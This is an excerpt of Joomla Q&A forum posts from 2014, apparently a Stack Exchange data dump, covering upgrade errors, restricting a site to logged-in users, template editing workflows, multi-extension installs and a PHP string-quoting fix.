  <row Id="549" PostTypeId="1" AcceptedAnswerId="551" CreationDate="2014-05-02T14:30:02.650" Score="1" ViewCount="96" Body="&lt;p&gt;I have a small personal website, say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namesurname.joomlafree.it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;made with Joomla 2.5 (remote installation, that I keep updated regularly, actually to 2.5.19).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the third time already in the latest 2-3 months that I recieve the same email from &lt;code&gt;no-reply@joomlahost.it&lt;/code&gt;. Written in italian, this email basically says that there is an old version of Joomla (2.5.18) on the domain&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tmp.namesurname.joomlafree.it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not know which domain is this, starting with &lt;strong&gt;tmp.&lt;/strong&gt;, nor how to have access to its administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had already posted &lt;a href=&quot;http://forum.joomla.it/index.php/topic,239986.msg1112768.html#msg1112768&quot; rel=&quot;nofollow&quot;&gt;such question&lt;/a&gt; on joomla forum in italian language: I was only answered that it was possibly an error, but this happens again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you ever hear about this kind of domain? Any possible explanation or idea about how to deal with it? May not taking care of such emails lead to a lack in security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only know and manage to use the url &lt;em&gt;without&lt;/em&gt; &lt;strong&gt;tmp.&lt;/strong&gt; in the beginning and I would like to keep &lt;em&gt;it&lt;/em&gt; up to date. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-05-02T18:52:07.230" LastActivityDate="2014-05-02T18:52:07.230" Title="Emails by joomlahost warn me I should update Joomla version on unknown domain" Tags="|security|error-handling|versions|emails|" AnswerCount="1" CommentCount="6" ClosedDate="2014-05-04T15:59:54.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="550" PostTypeId="2" ParentId="547" CreationDate="2014-05-02T15:11:10.980" Score="10" Body="&lt;p&gt;You've a few options here, depending on whether your focus is ease of use, automation or cost:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do exactly what you did before with your local install, but once installed, change the local Joomla installation to use your live, remote MySQL database in &lt;code&gt;configuration.php&lt;/code&gt;, if your host supports remote access. Be careful though - any DB changes will roll over into live...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a component like &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/file-management/2630&quot;&gt;extplorer&lt;/a&gt;&lt;/strong&gt; and edit the template files directly in the browser, with another tab open displaying the site, still using Chrome's dev tools. extplorer features code colouring and is great for making small changes quickly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a version control system to push out changes - for example, develop your template in a local Joomla install using your chosen IDE, with the template in a repository. When done, commit changes to your live site. Use a post-commit hook to checkout those changes as a working version. Whilst more complicated to set up, it does mean you can always rollback to old template versions if you make a mistake. Add in remote MySQL to ensure data consistency across local and live.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pay for a proper template / template framework - at my company we use &lt;a href=&quot;http://www.yootheme.com/themes/joomla&quot;&gt;YooTheme&lt;/a&gt; templates. This template framework has a feature called 'Customizr', which is basically a 2-pane window featuring hundreds of CSS variables (well, LESS variables) on the left and a live preview on the right. These variables control near enough every element of the template, from gutter padding to menu item text shadow, and everything in between. Changes are applied instantly in the preview and multiple 'styles' can be defined so you can play with different variable configurations. This all said, I'm sure other template frameworks have very similar features.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;NB: I have no affliation with extplorer nor YooTheme other than as a user.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-05-02T15:11:10.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="551" PostTypeId="2" ParentId="549" CreationDate="2014-05-02T16:46:34.860" Score="1" Body="&lt;p&gt;Try contacting your host, they will know for sure.&#xA;It may be in a subdirectory of your site or somewhere completely different. Depending on their setup it doesn't even have to belong to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without a real URL where we could have a look, it's almost impossible to say anything at all.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-02T16:46:34.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="552" PostTypeId="1" AcceptedAnswerId="555" CreationDate="2014-05-02T17:12:54.557" Score="11" ViewCount="1009" Body="&lt;p&gt;I know there are many ways to do this, however when I think deeply, a global disable of the site might be difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is when a user goes to the website, they are redirected to the login page no matter where they are. I would prefer not to need special settings in every menu item or other area of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this? Or a super awesome plugin that does this? My searches so far have been in vain. However that just might be my choice of keywords in JED/Google.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2016-04-01T13:49:19.210" Title="Disable website to all but logged in users" Tags="|cms|login|authentication|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="553" PostTypeId="1" CreationDate="2014-05-02T17:45:41.730" Score="6" ViewCount="145" Body="&lt;p&gt;When developing a Joomla! 3.x component, how do you make it backwards compatible with Joomla! 2.5?&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="91" LastEditDate="2014-05-02T20:05:36.863" LastActivityDate="2014-05-02T20:05:36.863" Title="How to make a Joomla! component cross-compatible (J2.5 - J3.x)" Tags="|development|extensions|recommended-practices|" AnswerCount="1" CommentCount="5" ClosedDate="2014-05-02T19:40:06.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostTypeId="2" ParentId="547" CreationDate="2014-05-02T17:45:45.423" Score="10" Body="&lt;p&gt;Clone the livesite with Akeeba, install it locally, then adjust as required. When you're finished SSH / FTP your changed files back to the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a whole host of good reasons why it's imprudent to “tweak” on a live site…&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-02T17:45:45.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostTypeId="2" ParentId="552" CreationDate="2014-05-02T18:12:09.273" Score="14" Body="&lt;p&gt;Would one of these work?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-restriction/11335&quot;&gt;Members Only&lt;/a&gt; (From the JED)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Keep prying eyes away from part or your whole website, while they stay anonymous. Optionally you may allow visitors to directly register to your website with or without requiring for an invitation code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-restriction/11177&quot;&gt;registeredOnly&lt;/a&gt; (From the JED)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;registeredOnly plugin restrict access to Joomla site to registered users only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a guest tries to access any Joomla content, they are redirected to the login page.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="140" LastEditDate="2014-05-05T07:53:57.547" LastActivityDate="2014-05-05T07:53:57.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="556" PostTypeId="2" ParentId="547" CreationDate="2014-05-02T18:32:15.177" Score="6" Body="&lt;p&gt;If it's just CSS changes you are making you may as well continue previewing them in Chrome Development Tools and using an online development environment such as &lt;a href=&quot;https://c9.io/&quot;&gt;Cloud9&lt;/a&gt; or &lt;a href=&quot;https://shiftedit.net/&quot;&gt;ShiftEdit&lt;/a&gt; you can connect directly to your server via FTP and make tweaks to the live site using a proper IDE similar to how you did when it was hosted locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't however recommend this for any bigger changes which could break your site (I learned the hard way a few years ago). For these I recommend setting up a local server (or a free VM from &lt;a href=&quot;http://koding.com&quot;&gt;koding.com&lt;/a&gt;), cloning the site with &lt;a href=&quot;https://www.akeebabackup.com&quot;&gt;Akeeba&lt;/a&gt; and using Git* to push changes to your live site once they have been tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*If you don't want your code to be public on &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt; one good alternative is &lt;a href=&quot;https://bitbucket.org&quot;&gt;BitBucket&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2014-05-02T18:32:15.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostTypeId="2" ParentId="553" CreationDate="2014-05-02T19:02:56.533" Score="2" Body="&lt;p&gt;There cannot be a clear answer, a lot depend from what kind of the extension you do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main development for j3.x, and time to time test on j2.5 whether there no faults and the extension works as expected - for most cases should be good solution.&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-05-02T19:02:56.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostTypeId="2" ParentId="552" CreationDate="2014-05-02T20:09:35.267" Score="0" Body="&lt;p&gt;You could set the permission of all menu links to registered, forcing the user to log in.&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2014-05-02T20:09:35.267" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="560" PostTypeId="2" ParentId="547" CreationDate="2014-05-03T04:43:35.300" Score="5" Body="&lt;h1&gt;Method 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;One method I've used is to add my own css file into the template index.php file.  This can be wrapped to only add it if you are the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way of extending this is to write a simple plugin that adds a css file if you are the user.  I've used this to make changes to the default admin template, to avoid making changes directly in the template that might be replaced by the next update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemBB extends JPlugin {&#xA;    public function onBeforeCompileHead() {&#xA;&#xA;    if (JFactory::getUser()-&amp;gt;username == 'my.login.name.goes.here')&#xA;    {&#xA;        JFactory::getDocument()-&amp;gt;addStylesheet(&quot;/templates/protostar/css/test.css&quot;);&#xA;    }&#xA;&#xA;    if(!JFactory::getApplication()-&amp;gt;isAdmin()){&#xA;        return;&#xA;    }   &#xA;&#xA;    JFactory::getDocument()-&amp;gt;addStylesheet(&quot;/templates/isis/css/admin-extra.css&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To preview template changes, you can duplicate the template, and make changes in the duplicate. To view those changes, append &quot;?template=test&quot; to the url, which overrides the template. Replace &quot;test&quot; with whatever name you have decided to use for the duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need to duplicate the whole template, and not just a style. Both styles and templates can be duplicated in the admin gui.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe it's possible to override a style in the url. [PW: I just found out that in J3, you can override a style in the url. See method 3.]&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 3&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Similar to method 2 but with styles.  Use a &quot;test&quot; style and modify the main template to include the test stylesheet.  To override a style in the url, add ?templateStyle=, where  is the template identifier (i.e. numerical).&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditDate="2014-05-07T23:29:40.753" LastActivityDate="2014-05-07T23:29:40.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostTypeId="1" AcceptedAnswerId="562" CreationDate="2014-05-03T06:49:26.397" Score="9" ViewCount="1615" Body="&lt;p&gt;I'm currently building boilerplates (i.e. sites to Site Transfer as a starting point for new client web sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference is to load up all extensions in the boilerplate, transfer the site to a client's hosting account, finalize the development and then uninstall the extensions I don't use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as I have several 'boilerplates' and about 60 to 70 extensions (when you add up all components, modules and plugins) - so this is extremely time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking for a 'multi-extension installer' - but looking at the JED (&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/installers&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/installers&lt;/a&gt;), the available multi-installers only go up to J! 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla! Docs - there is an article on &lt;a href=&quot;http://docs.joomla.org/Package#How_do_I_create_a_package.3F&quot;&gt;creating packages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method allows for combining multiple extensions in one zip for install, but has the drawback of &quot;Combining them in a package will let the user install and uninstall both extensions in one go.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to install multiple extensions in 'one-go' - but have the ability to uninstall extensions without having to uninstall the entire package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is a 'multi-installer' for J!3 available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a way to install multiple extensions in one shot for J!3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a huge time saver.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2016-05-28T09:43:02.180" Title="How can I install multiple extensions in one shot in a Joomla! 3 site?" Tags="|extensions|installation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="562" PostTypeId="2" ParentId="561" CreationDate="2014-05-03T12:05:23.660" Score="6" Body="&lt;p&gt;You have 3 options here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;: As you have already mentioned, you can install everything as 1 package, however it's not really the most efficient method.  This method is useful for extensions which have dependencies, but your package of extensions will have to be installed or uninstalled as a bundle, but not separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;: You can install everything together at once under 1 extension. Take Akeeba Subscriptions for example. You have the main backend and frontend component that get installed, along with individual plugins. The individual plugins can then be installed/uninstalled manually. This would be done through an script.php in a function. Take a look at &lt;a href=&quot;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and maybe also take a look at some other extensions such as Akeeba Subscription to see how they do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 3&lt;/strong&gt;: You could do what some template providers do such as Yootheme and Rockettheme, which is making 1 big bundle which contains the whole Joomla package along with your extensions which will get installed when the user is setting up Joomla. Do do this, you simply need to: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Joomla&lt;/li&gt;&#xA;&lt;li&gt;Install all your extensions&lt;/li&gt;&#xA;&lt;li&gt;Download a fresh copy of Joomla&lt;/li&gt;&#xA;&lt;li&gt;Extract the folder called &lt;strong&gt;installation&lt;/strong&gt; from the fresh copy and put it in the root of your previous Joomla site&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of your database and replace the .sql file in the installation folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There may also be a few custom tweaks that you want to make to let the user choose if they want to install Joomla with or without the extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be some other methods but none that I can think of at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="4134" LastEditDate="2016-05-28T09:43:02.180" LastActivityDate="2016-05-28T09:43:02.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostTypeId="2" ParentId="538" CreationDate="2014-05-03T13:03:12.853" Score="4" Body="&lt;p&gt;I've done a number of extra fields in com_content. I think because the method used to do this is pretty custom as you specify your own table and such, there isn't a really repeatable method which you can use to get this information merged into com_finder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion to you would be to fork the content indexer plugin for finder and then set it up to call out to the fields you've added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you'd do is modify the getListQuery in the finder to join to your extra fields table:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/finder/content/content.php#L341&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/plugins/finder/content/content.php#L341&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after that, depending on how you save your extra fields (JRegistry object?) you'd just have to tell finder to look at the additional fields you've got in the query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling you'd end up adding it as some meta information:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/finder/content/content.php#L286&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/plugins/finder/content/content.php#L286&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-03T13:03:12.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostTypeId="2" ParentId="543" CreationDate="2014-05-03T13:09:19.337" Score="1" Body="&lt;p&gt;Rather than having to loop through each module I think you can pretty much programmatically specify the parameters you want for the module and just create a new instance altogether for your purpose. I'm not sure if that's reasonable for your application but it might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this you'd use getModule() to get the module object, then use renderModule with the attribs array of parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way you don't really need to know the position, since you're generating the instance on the fly.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-03T13:09:19.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="566" PostTypeId="2" ParentId="2" CreationDate="2014-05-03T18:22:57.323" Score="2" Body="&lt;p&gt;I also had strange canonical tags at one point which were fixed by installing the &lt;a href=&quot;http://styleware.eu/store/item/26-styleware-content-canonical-plugin&quot; rel=&quot;nofollow&quot;&gt;Canonical Plugin&lt;/a&gt; by StyleWare.&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2014-05-03T18:22:57.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="567" PostTypeId="2" ParentId="552" CreationDate="2014-05-03T19:42:40.647" Score="5" Body="&lt;p&gt;&lt;strong&gt;1) Use Joomla!'s Built-In ACL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend defaulting your visitors to a login page and using Joomla!'s built-in ACL using Registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a Top-Level Menu item with permissions to Registered users - and then each Menu item on that tree will be only visible and available to Registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an excellent &lt;a href=&quot;http://docs.joomla.org/J3.2%3aAccess_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;tutorial on ACL&lt;/a&gt; in the Joomla! Docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, files and documents can still be downloaded by non-registered users (i.e. if they have the direct link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you will have to use a 3rd party extension, if you wish to protect those docs, such as Akeeba Release Systems or SobiPro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) Password Protected Directories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'simplest' way to protect your site is to Password Protect your directory via .htaccess/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's inelegant, but if you use cPanel, for example, go to Security -&gt; Password Protected Directories and use the wizard to name directories, add or remove users and assign those users to the Password Protected Directory - you can give each user a unique name and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's inelegant, but simple and used quite often in practice - however, I reiterate, it's probably best use ACL and if protecting docs from download, a 3rd party extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you keep your files/docs under the Password Protected directory, then those will be protected as well - requiring a user with permissions trying to access that directory to login first.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="140" LastEditDate="2014-05-05T07:54:16.120" LastActivityDate="2014-05-05T07:54:16.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="568" PostTypeId="1" AcceptedAnswerId="569" CreationDate="2014-05-04T03:30:10.350" Score="2" ViewCount="3071" Body="&lt;p&gt;When manually upgrading Joomla through the extensions manager, I get the following error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installation unexpectedly terminated:Refresh Manifest Cache failed:&#xA;  Extension is not currently installed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was upgrading from Joomla 2.5.18 to 2.5.20. I believe this also happened when I upgraded a different site from 2.5.18 to 2.5.19.&#xA;After upgrading, I checked the Joomla version. It says 2.5.20. I checked ExtensionsManager -&gt; Warnings &lt;code&gt;There were none.&lt;/code&gt; I checked ExtensionsManager -&gt; Database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It showed&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Database table structure is up to date.&lt;br&gt;&#xA;  Database schema version (in&#xA;  &lt;code&gt;#__schemas&lt;/code&gt;): 2.5.20. Update version (in #__extensions): 2.5.20. Database driver: mysqli. 66 database changes were checked&#xA;  successfully. 41 database changes did not alter table structure and&#xA;  were skipped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the Refresh Manifest Cache?&lt;/li&gt;&#xA;&lt;li&gt;Why is it causing the error? (I.E. What extension is likely to not be installed?)&lt;/li&gt;&#xA;&lt;li&gt;Is my installation safe? Should I upgrade again using the same upgrade package?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastActivityDate="2021-04-20T19:59:14.593" Title="What is the Refresh Manifest Cache and why is it causing an error when upgrading Joomla?" Tags="|cms|upgrade|cache|troubleshooting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="569" PostTypeId="2" ParentId="568" CreationDate="2014-05-04T07:15:57.990" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The manifest cache is a field in the #__extensions table which holds the informations from the extension manifest file (the xml file describing the extension and what to install).&#xA;You can refresh it as well in the extension manager using the refresh cache button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know where the error is coming from, otherwise I would fix it :-)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd say it's safe. The refreshing happens after the update was completed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-04T07:15:57.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="570" PostTypeId="1" AcceptedAnswerId="571" CreationDate="2014-05-04T12:19:29.203" Score="2" ViewCount="1898" Body="&lt;p&gt;I'm having a shot at developing my first plugin for Joomla, its just a simple plugin which places some javascript just before the close of the body. The javascript works fine if I place it directly in the index.php for the template so Im confident in the js. My plugin however is throwing an error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Parse error: syntax error, unexpected 's' (T_STRING) in C:\xampp\blah\blah\plugins\system\reftagger\reftagger.php on line 50&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's to do with the use of the double quotes on the line 49  (where its adding the g.src) which is throwing things out of whack. The snippet below shows the script that Im trying to add which includes the double quotes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ReftaggerOut = &quot;&#xA;            &amp;lt;script type='text/javascript'&amp;gt;&#xA;                var refTagger = {&#xA;                    settings: {&#xA;                        bibleVersion: &quot;.$BibleTranslation.&quot;            &#xA;                    }&#xA;                };&#xA;                (function(d, t) {&#xA;                    var g = d.createElement(t), s = d.getElementsByTagName(t)[0];&#xA;                    g.src = &quot;//api.reftagger.com/v2/RefTagger.js&quot;;&#xA;                    s.parentNode.insertBefore(g, s);&#xA;                }(document, &quot;script&quot;));&#xA;&#xA;            &amp;lt;/script&amp;gt;&#xA;&#xA;    &quot;;      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've attempted &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to change the g.src to single brackets &lt;/li&gt;&#xA;&lt;li&gt;make it a /&quot; for the g.src&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="190" LastEditorUserId="159" LastEditDate="2014-05-09T07:00:19.027" LastActivityDate="2014-05-09T07:00:19.027" Title="Plugin development - parse error: syntax error, unexpected 's' (T_STRING)" Tags="|development|php|plugin|javascript|fix-my-code|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="571" PostTypeId="2" ParentId="570" CreationDate="2014-05-04T12:54:53.087" Score="4" Body="&lt;p&gt;It is the double quotes in the script/string.  Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$ReftaggerOut = &quot;&#xA;    &amp;lt;script type='text/javascript'&amp;gt;&#xA;        var refTagger = {&#xA;            settings: {&#xA;            bibleVersion: &quot;.$BibleTranslation.&quot;            &#xA;            }&#xA;        };&#xA;        (function(d, t) {&#xA;            var g = d.createElement(t), s = d.getElementsByTagName(t)[0];&#xA;            g.src = '//api.reftagger.com/v2/RefTagger.js';&#xA;            s.parentNode.insertBefore(g, s);&#xA;        }(document, 'script'));&#xA;    &amp;lt;/script&amp;gt;&#xA;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want the double quotes, escapes them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ReftaggerOut = &quot;&#xA;    &amp;lt;script type='text/javascript'&amp;gt;&#xA;        var refTagger = {&#xA;            settings: {&#xA;            bibleVersion: &quot;.$BibleTranslation.&quot;            &#xA;            }&#xA;        };&#xA;        (function(d, t) {&#xA;            var g = d.createElement(t), s = d.getElementsByTagName(t)[0];&#xA;            g.src = \&quot;//api.reftagger.com/v2/RefTagger.js\&quot;;&#xA;            s.parentNode.insertBefore(g, s);&#xA;        }(document, \&quot;script\&quot;));&#xA;    &amp;lt;/script&amp;gt;&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-05-04T12:54:53.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostTypeId="2" ParentId="570" CreationDate="2014-05-04T12:55:06.077" Score="0" Body="&lt;p&gt;You have a PHP parsing error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your string starts with &lt;code&gt;&quot;&lt;/code&gt; and ends with &lt;code&gt;&quot;&lt;/code&gt;. All internal &lt;code&gt;&quot;&lt;/code&gt; must be &lt;code&gt;\&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2014-05-04T15:51:22.820" LastActivityDate="2014-05-04T15:51:22.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="573" PostTypeId="1" CreationDate="2014-05-04T12:59:31.047" Score="1" ViewCount="83" Body="&lt;p&gt;I'm using virtuemart 2.0 and joomla 2.5 with a commercial template mowebso_ecommerce - Default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show some products on my first website eg. firstsite.com and some products on second site eg. secondsite.com. But the problem is that i don't want to install joomla and virtuemart on second site. It will use everything from first site and it will show different theme. The role of secondsite.com will be only to show some products that cannot be shown to firstsite.com due to some reason(prescribed medicines) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When user searches a product from firstsite.com (which i don't want to display in fisrtsite.com but want to show on secondsite.com) then i want him to redirect to secondsite.com and display a different theme rather than showing the same theme of firstsite.com so that for a user it will be just like a different site from firstsite.com. I also want to use same database for login and everything purpose and same session so that user login only on one site and can purchase from both sites. Everything will be managable from firstsite.com and secondsite.com will be for display purpose for some products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have purchase secondsite.com domain but not any hosting plan for it. It will use firstsite.com hosting instead. Maybe addon domain will work for me in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible ?&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2014-05-07T04:56:57.463" Title="Show products based on my custom attributes to second addon domain site" Tags="|php|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
